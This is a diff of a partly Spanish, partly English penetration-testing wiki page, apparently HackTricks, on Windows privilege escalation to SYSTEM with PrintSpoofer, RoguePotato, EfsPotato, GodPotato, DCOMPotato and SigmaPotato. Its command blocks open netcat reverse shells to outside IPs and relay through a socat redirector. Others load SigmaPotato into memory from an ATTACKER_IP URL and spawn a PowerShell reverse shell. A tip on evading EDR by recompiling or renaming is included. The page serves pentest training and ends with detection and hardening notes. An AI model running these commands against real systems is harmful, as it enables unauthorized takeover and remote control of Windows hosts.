Translated ['src/windows-hardening/windows-local-privilege-escalation/ro

src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

@@ -2,9 +2,45 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-> [!WARNING] > **JuicyPotato no funciona** en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** pueden ser utilizados para **aprovechar los mismos privilegios y obtener acceso a nivel `NT AUTHORITY\SYSTEM`**. Esta [entrada de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) profundiza en la herramienta `PrintSpoofer`, que puede ser utilizada para abusar de los privilegios de suplantación en hosts de Windows 10 y Server 2019 donde JuicyPotato ya no funciona.
+> [!WARNING]
+> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
 
-## Quick Demo
+> [!TIP]
+> Una alternativa moderna frecuentemente mantenida en 2024–2025 es SigmaPotato (un fork de GodPotato) que añade uso en memoria / reflexión .NET y soporte extendido de OS. Ver uso rápido más abajo y el repo en Referencias.
+
+Related pages for background and manual techniques:
+
+{{#ref}}
+seimpersonate-from-high-to-system.md
+{{#endref}}
+
+{{#ref}}
+from-high-integrity-to-system-with-name-pipes.md
+{{#endref}}
+
+{{#ref}}
+privilege-escalation-abusing-tokens.md
+{{#endref}}
+
+## Requisitos y puntos a tener en cuenta
+
+All the following techniques rely on abusing an impersonation-capable privileged service from a context holding either of these privileges:
+
+- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
+- High integrity is not required if the token already has SeImpersonatePrivilege (typical for many service accounts such as IIS AppPool, MSSQL, etc.)
+
+Check privileges quickly:
+```cmd
+whoami /priv | findstr /i impersonate
+```
+Notas operativas:
+
+- PrintSpoofer necesita que el servicio Print Spooler esté en ejecución y accesible a través del endpoint RPC local (spoolss). En entornos hardening donde Spooler está deshabilitado tras PrintNightmare, prefiera RoguePotato/GodPotato/DCOMPotato/EfsPotato.
+- RoguePotato requiere un OXID resolver accesible en TCP/135. Si egress está bloqueado, use un redirector/port-forwarder (ver ejemplo abajo). Las builds antiguas necesitaban la bandera -f.
+- EfsPotato/SharpEfsPotato abusan de MS-EFSR; si una pipe está bloqueada, pruebe pipes alternativos (lsarpc, efsrpc, samr, lsass, netlogon).
+- Error 0x6d3 durante RpcBindingSetAuthInfo típicamente indica un servicio de autenticación RPC desconocido/no soportado; pruebe una pipe/transporte diferente o asegúrese de que el servicio objetivo esté en ejecución.
+
+## Demostración rápida
 
 ### PrintSpoofer
 ```bash
@@ -21,12 +57,24 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
 NULL
 
 ```
+Notas:
+- Puedes usar -i para iniciar un proceso interactivo en la consola actual, o -c para ejecutar un one-liner.
+- Requiere el servicio Spooler. Si está deshabilitado, esto fallará.
+
 ### RoguePotato
 ```bash
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
 # In some old versions you need to use the "-f" param
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
 ```
+Si outbound 135 está bloqueado, pivot the OXID resolver via socat on your redirector:
+```bash
+# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
+socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
+
+# On victim, run RoguePotato with local resolver on 9999 and -r pointing to the redirector IP
+RoguePotato.exe -r REDIRECTOR_IP -e "cmd.exe /c whoami" -l 9999
+```
 ### SharpEfsPotato
 ```bash
 > SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
@@ -63,16 +111,51 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
 
 nt authority\system
 ```
+Consejo: Si una pipe falla o EDR la bloquea, prueba con las otras pipes compatibles:
+```text
+EfsPotato <cmd> [pipe]
+pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
+```
 ### GodPotato
 ```bash
 > GodPotato -cmd "cmd /c whoami"
 # You can achieve a reverse shell like this.
 > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
 ```
+Notas:
+- Funciona en Windows 8/8.1–11 y Server 2012–2022 cuando SeImpersonatePrivilege está presente.
+
 ### DCOMPotato
 
 ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
 
+DCOMPotato proporciona dos variantes dirigidas a objetos DCOM de servicio que por defecto usan RPC_C_IMP_LEVEL_IMPERSONATE. Compila o usa los binaries proporcionados y ejecuta tu comando:
+```cmd
+# PrinterNotify variant
+PrinterNotifyPotato.exe "cmd /c whoami"
+
+# McpManagementService variant (Server 2022 also)
+McpManagementPotato.exe "cmd /c whoami"
+```
+### SigmaPotato (fork actualizado de GodPotato)
+
+SigmaPotato añade comodidades modernas como ejecución en memoria mediante .NET reflection y un helper de reverse shell en PowerShell.
+```powershell
+# Load and execute from memory (no disk touch)
+[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
+[SigmaPotato]::Main("cmd /c whoami")
+
+# Or ask it to spawn a PS reverse shell
+[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
+```
+## Notas de detección y endurecimiento
+
+- Supervisar procesos que creen named pipes y llamen inmediatamente a token-duplication APIs seguidas de CreateProcessAsUser/CreateProcessWithTokenW. Sysmon puede aportar telemetría útil: Event ID 1 (process creation), 17/18 (named pipe created/connected), y líneas de comando que lancen procesos hijos como SYSTEM.
+- Endurecimiento del Spooler: Deshabilitar el servicio Print Spooler en servidores donde no sea necesario previene coerciones locales estilo PrintSpoofer a través de spoolss.
+- Endurecimiento de cuentas de servicio: Minimizar la asignación de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a servicios personalizados. Considerar ejecutar servicios bajo cuentas virtuales con los mínimos privilegios requeridos y aislarlos con service SID y tokens con restricciones de escritura cuando sea posible.
+- Controles de red: Bloquear TCP/135 saliente o restringir el tráfico del RPC endpoint mapper puede romper RoguePotato a menos que esté disponible un redirector interno.
+- EDR/AV: Todas estas herramientas tienen firmas ampliamente conocidas. Recompilar desde el código fuente, renombrar símbolos/cadenas o usar ejecución en memoria puede reducir la detección pero no derrotará detecciones comportamentales sólidas.
+
 ## Referencias
 
 - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
@@ -82,5 +165,7 @@ nt authority\system
 - [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
 - [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
 - [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
+- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
+- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
 
 {{#include ../../banners/hacktricks-training.md}}